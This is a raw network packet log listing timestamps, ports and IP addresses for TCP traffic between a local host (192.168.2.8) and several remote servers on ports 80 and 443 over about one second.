Nov 24, 2024 19:11:48.362468004 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.362503052 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.362519979 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.362531900 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.362535000 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.362562895 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.362579107 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.363508940 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.368978024 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.369060040 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.369087934 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.370733976 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.373306036 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.373397112 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.373406887 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.377453089 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.377895117 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.384804010 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.388427973 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.388437986 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.399338007 CET	443	49777	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:48.447546959 CET	49776	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:48.448383093 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.452809095 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.456866026 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.459027052 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.459036112 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.477721930 CET	49777	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:48.527179956 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.527196884 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.528440952 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.540824890 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.544425964 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.544440031 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.544536114 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.544590950 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.544596910 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.545507908 CET	443	49779	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:48.552311897 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.552371025 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.552376986 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.554343939 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.554358006 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.554419041 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.558387041 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.558471918 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.558557034 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.563877106 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.564419031 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.564424992 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.565156937 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.565223932 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.565223932 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.568406105 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.571372032 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.572410107 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.572416067 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.573350906 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.573405027 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.573431015 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.576409101 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.581525087 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.581821918 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.581913948 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.581979036 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.581984997 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.582021952 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.590300083 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.590333939 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.590363026 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.590369940 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.590415955 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.590421915 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.590452909 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.598814964 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.598881006 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.598887920 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.598944902 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.604362011 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.604429007 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.604434967 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.607175112 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.607233047 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.607373953 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.607431889 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.616012096 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.616146088 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.616183043 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.616218090 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.618525028 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.618599892 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.618604898 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.624115944 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.624193907 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.624284029 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.624335051 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.631397963 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.631469965 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.631477118 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.634012938 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.634083033 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.642338991 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.642416954 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.642426968 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.647258043 CET	49779	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:48.655169964 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.655246019 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.655251026 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.661393881 CET	443	49776	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:48.661588907 CET	443	49776	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:48.661690950 CET	49776	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:48.666594982 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.666665077 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.666670084 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.678388119 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.678462982 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.678467989 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.679275036 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.679286003 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.679333925 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.681611061 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.681623936 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.681677103 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.688939095 CET	49779	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:48.688954115 CET	443	49779	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:48.689280033 CET	49776	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:48.689296961 CET	443	49776	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:48.689429045 CET	443	49779	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:48.699938059 CET	49785	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:48.699969053 CET	443	49785	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:48.700046062 CET	49785	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:48.702805996 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.702868938 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.702874899 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.706906080 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.706935883 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.706984997 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.706990957 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.707045078 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.715251923 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.728176117 CET	49779	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:48.728315115 CET	443	49779	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:48.728358030 CET	49785	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:48.728372097 CET	443	49785	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:48.731580973 CET	49779	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:48.775341988 CET	443	49779	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:48.775705099 CET	49786	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:48.775733948 CET	443	49786	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:48.775826931 CET	49786	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:48.776148081 CET	49787	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:48.776175022 CET	443	49787	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:48.776236057 CET	49787	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:48.776303053 CET	49786	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:48.776314974 CET	443	49786	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:48.777024984 CET	49787	443	192.168.2.8	162.159.61.3
Nov 24, 2024 19:11:48.777039051 CET	443	49787	162.159.61.3	192.168.2.8
Nov 24, 2024 19:11:48.786690950 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.786755085 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.786787033 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.786839962 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.788589954 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.788599968 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.788640976 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.792841911 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.792902946 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.792912960 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.793114901 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.793183088 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.793209076 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.793258905 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.794827938 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.794886112 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.794893026 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.800951004 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.801021099 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.801069975 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.801115990 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.802134991 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.802187920 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.802194118 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.806164026 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.806214094 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.806221008 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.808681965 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.808732033 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.808830976 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.808887005 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.810245991 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.810297012 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.810302019 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.812824011 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.812912941 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.812918901 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.815498114 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.815548897 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.815553904 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.816391945 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.816446066 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.816473007 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.816518068 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.818337917 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.818403006 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.818411112 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.821027040 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.821090937 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.821181059 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.821225882 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.823151112 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.823200941 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.823206902 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.825637102 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.825680971 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.825685024 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.825741053 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.825742960 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.825789928 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.825795889 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.828278065 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.828336954 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.828341007 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.830286026 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.830343962 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.830347061 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.830389023 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.830868959 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.830919027 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.830925941 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.832439899 CET	443	49777	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:48.832532883 CET	443	49777	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:48.832591057 CET	49777	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:48.832840919 CET	49777	443	192.168.2.8	172.64.41.3
Nov 24, 2024 19:11:48.832855940 CET	443	49777	172.64.41.3	192.168.2.8
Nov 24, 2024 19:11:48.833503008 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.833553076 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.833559036 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.834856033 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.834902048 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.834912062 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.834944010 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.840370893 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.840430021 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.840517998 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.840562105 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.844567060 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.844625950 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.844656944 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.844702005 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.848690987 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.848747969 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.848757982 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.848814011 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.853368044 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.853380919 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.853440046 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.858591080 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.858603954 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.858639956 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.858660936 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.863087893 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.863152027 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.863249063 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.863293886 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.867778063 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.867832899 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.868086100 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.868134022 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.872355938 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.872427940 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.872514963 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.872569084 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.876000881 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.876054049 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.876060963 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.877038002 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.877096891 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.877191067 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.877239943 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.877676964 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.877727032 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.877732992 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.880234957 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.880340099 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.880346060 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.881392002 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.881448030 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.881663084 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.881705999 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.882446051 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.882488966 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.882498980 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.882504940 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.882549047 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.884843111 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.885612011 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.885663986 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.885780096 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.885839939 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.887439013 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.887492895 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.887499094 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.890050888 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.890113115 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.890122890 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.899005890 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.899065018 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.899070978 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.913100958 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.913158894 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.913168907 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.918147087 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.918212891 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.918217897 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.919003963 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.919053078 CET	49762	443	192.168.2.8	172.217.19.225
Nov 24, 2024 19:11:48.919058084 CET	443	49762	172.217.19.225	192.168.2.8
Nov 24, 2024 19:11:48.921725035 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.921835899 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.921984911 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.922032118 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.924109936 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.924129009 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.924186945 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.924211025 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.928580999 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.928649902 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.947647095 CET	443	49775	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:48.947669029 CET	443	49775	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:48.947704077 CET	443	49775	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:48.947735071 CET	49775	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:48.947741985 CET	443	49775	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:48.947798967 CET	49775	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:48.948321104 CET	49775	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:48.948326111 CET	443	49775	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:48.948343992 CET	49775	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:48.948479891 CET	443	49775	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:48.948512077 CET	443	49775	20.190.177.21	192.168.2.8
Nov 24, 2024 19:11:48.948586941 CET	49775	443	192.168.2.8	20.190.177.21
Nov 24, 2024 19:11:48.978388071 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:48.978451967 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:48.978552103 CET	80	49750	185.215.113.206	192.168.2.8
